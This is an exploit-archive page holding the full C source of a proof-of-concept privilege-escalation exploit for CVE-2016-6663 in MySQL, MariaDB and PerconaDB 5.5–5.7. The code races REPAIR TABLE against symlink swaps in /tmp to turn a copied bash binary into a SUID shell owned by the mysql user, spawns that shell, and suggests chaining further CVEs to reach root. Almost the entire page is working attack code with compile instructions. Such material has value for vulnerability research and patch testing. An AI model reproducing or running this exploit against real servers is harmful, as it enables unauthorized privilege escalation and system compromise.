MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x 'mysql' System User Privilege Escalation
Posted on 30 November -0001
<HTML><HEAD><TITLE>MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x 'mysql' System User Privilege Escalation</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* Source: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html // http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 Discovered/Coded by: Dawid Golunski dawid[at]legalhackers.com https://legalhackers.com Follow https://twitter.com/dawid_golunski for updates on this advisory. Compile: gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient Note: * On RedHat-based systems you might need to change /tmp to another public directory (e.g. /uploads) * For testing purposes only. Do no harm. Full advisory URL: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html Video PoC: https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html */ #include <fcntl.h> #include <grp.h> #include <mysql.h> #include <pwd.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define EXP_PATH "/tmp/mysql_privesc_exploit" #define EXP_DIRN "mysql_privesc_exploit" #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary MYSQL *conn; // DB handles MYSQL_RES *res; MYSQL_ROW row; unsigned long cnt; void intro() { printf( " 33[94m " "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit " "mysql-privesc-race.c (ver. 1.0) " "CVE-2016-6663 / OCVE-2016-5616 " "For testing purposes only. Do no harm. " "Discovered/Coded by: " "Dawid Golunski " "http://legalhackers.com" " 33[0m "); } void usage(char *argv0) { intro(); printf("Usage: %s user pass db_host database ", argv0); } void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf("%s ", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s ", mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res); } int main(int argc,char **argv) { int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) { usage(argv[0]); exit(1); } intro(); // Show initial privileges printf(" [+] Starting the exploit as: "); system("id"); // Connect to the database server with provided credentials printf(" [+] Connecting to the database `%s` as %s@%s ", database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s ", mysql_error(conn)); exit(1); } // Prepare tmp dir printf(" [+] Creating exploit temp directory %s ", "/tmp/" EXP_DIRN); umask(000); system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system("chmod g+s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf(" [+] Creating mysql tables "); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf(" [+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : "); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL); // Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf("failed to inotify_init "); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */ printf(" [+] Entering the race loop... Hang in there... "); while ( is_shell_suid != 1 ) { cnt++; if ( (cnt % 100) == 0 ) { printf("->"); //fflush(stdout); } /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1); /* random num if needed */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :( "); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0; while (1) { int processed = 0; ret = read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum); // Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break; } } waitpid(pid, &status, 0); } // Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } } } printf(" [+] 33[94mBingo! Race won (took %lu tries) ! 33[0m Check out the 33[94mmysql SUID shell 33[0m: ", cnt); system("ls -l " SUID_SHELL); printf(" [+] Spawning the 33[94mmysql SUID shell 33[0m now... Remember that from there you can gain 33[1;31mroot 33[0m with vuln 33[1;31mCVE-2016-6662 33[0m or 33[1;31mCVE-2016-6664 33[0m :) "); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); /* close MySQL connection and exit */ printf(" [+] Job done. Exiting "); mysql_close(conn); return 0; } </BODY></HTML>
